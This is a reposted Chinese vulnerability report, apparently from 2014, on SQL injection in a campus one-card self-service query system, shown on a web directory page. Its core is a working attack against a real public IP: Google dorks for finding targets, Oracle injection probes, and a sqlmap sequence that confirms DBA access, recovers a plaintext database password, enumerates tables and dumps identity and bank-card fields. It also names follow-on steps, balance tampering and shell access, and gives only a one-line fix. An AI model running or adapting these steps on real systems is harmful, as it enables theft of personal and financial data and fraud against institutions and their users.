网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

郑州新开普电子技术有限公司一卡通自助查询管理系统SQL注入导致的诸多安全问题下载

来源:黑吧安全网 浏览:897次 时间:2014-05-13
简介:SQL注入,可以导致用户信息泄漏,可以随意增改信息,甚至服务器沦陷。影响范围:由于很多高校或者公司都采用了这个一卡通系统,所以个人认为影响很大。虽然很多高校的一卡通系统放置于内网,但是同样存在这种危险性,亦不能忽视。本次漏洞验证以外网的一卡

SQL注入,可以导致用户信息泄漏,可以随意增改信息,甚至服务器沦陷。影响范围:由于很多高校或者公司都采用了这个一卡通系统,所以个人认为影响很大。虽然很多高校的一卡通系统放置于内网,但是同样存在这种危险性,亦不能忽视。本次漏洞验证以外网的一卡通系统为例。

漏洞验证:



在google上随便寻找了一个

inurl: Index_ShowNews.aspx?NewsCode

inurl: /selfsearch/Index_ShowNews.aspx?NewsCode



手工测试了下:

and 1=1

and 1=2

and (select count (*) from dual)>0—

存在注入点,且数据库为oracle



932 order by 7

-1 union all select all null,null,null,null,null,null,null from dual--

支持union注入



用sqlmap跑一下:

sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --is-dba

current user is DBA: True



sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –passwords

database management system users password hashes:

[*] CCENSE [1]:

password hash: 0EFA906BA34A9B3E

clear-text password: CCENSE



sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --current-db

current schema (equivalent to database on Oracle): 'CCENSE'



sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –D CCENSE –tables

Database: CCENSE

+--------------------------------+

| ALERT_EMP_PURVIEW |

| ALERT_LEVEL |

======>等等<=======

| ALERT_LOG |

| ZC_XY |

| ZHEJIANG_GET_MAX |

+--------------------------------+



sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS –columns

Database: CCENSE

Table: BASE_CUSTOMERS

[50 columns]

+-------------------+----------+

| Column | Type |

+-------------------+----------+

| BANKCARDNO | VARCHAR2 |

| CARDFUNC | NUMBER |

| CARDNO | NUMBER |

| CARDSFID | NUMBER |

| CARDSN | NUMBER |

| CARDTYPE | NUMBER |

| CERTIFICATEID | NUMBER |

| COUNTRY | VARCHAR2 |

| CURUSEDATE | DATE |

| CUSTDEPT | VARCHAR2 |

| CUSTOMERID | NUMBER |

| EMPCODE | VARCHAR2 |

| IDCARDNO | VARCHAR2 |

| IFPUSHFARE | VARCHAR2 |

| ISBIGFARECARD | NUMBER |

| JPDM | VARCHAR2 |

| MEDICALTYPE | NUMBER |

| NAME | VARCHAR2 |

| NATION | VARCHAR2 |

| NOUSEDATE | DATE |

| ODDFARE | NUMBER |

| ODDFAREACC | NUMBER |

| OPCOUNT | NUMBER |

| OPENDT | DATE |

| OUTID | VARCHAR2 |

| PWD | VARCHAR2 |

| QUERYPWD | VARCHAR2 |

| REGSTARTYEAR | NUMBER |

| SCANCODE | VARCHAR2 |

| SCARDSNR | VARCHAR2 |

| SERVERID | NUMBER |

| SEX | NUMBER |

| STATUS | NUMBER |

| SUBODDFARE | NUMBER |

| SUBODDFAREACC | NUMBER |

| SUMADDFARE | NUMBER |

| SUMCONSUMEFARE | NUMBER |

| SUMDAIFA | NUMBER |

| SUMDISCOUNT | NUMBER |

| SUMFARE | NUMBER |

| SUMLOAD | NUMBER |

| SUMMAINCONSUME | NUMBER |

| SUMMNGFARE | NUMBER |

| SUMQC | NUMBER |

| SUMSAVE | NUMBER |

| SUMSUBSIDY | NUMBER |

| SUMSUBSIDYCONSUME | NUMBER |

| SUMSUBSIDYLOAD | NUMBER |

| SUMSXF | NUMBER |

| VER | NUMBER |

+-------------------+----------+



sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS -C "OUTID,IDCARDNO,SEX,PWD,NAME,QUERYPWD,BANKCARDNO" --dump --start 1 --stop 2

至此,SQL注入可以导致用户个人信息泄漏,其中包括但不仅限于学号,性别,照片,身份证号,绑定的银行卡号,一卡通密码等。

但是这还仅仅是信息泄漏,因为此时数据库的权限是dba,我们做到以下这些事:

1.通过查询id,可以获取某个人的所有信息,包括历史账单等。

2.通过模拟分析一卡通的充值流程,随意向任意账户添加任意金额。

3.通过高权限的oracle,直接通过java存储过程来执行命令,getshell等,直接拿下服务器权限。

 

修复方案:

修正sql注入问题,做好系统防护,数据库权限要分配合理。


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/1177.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站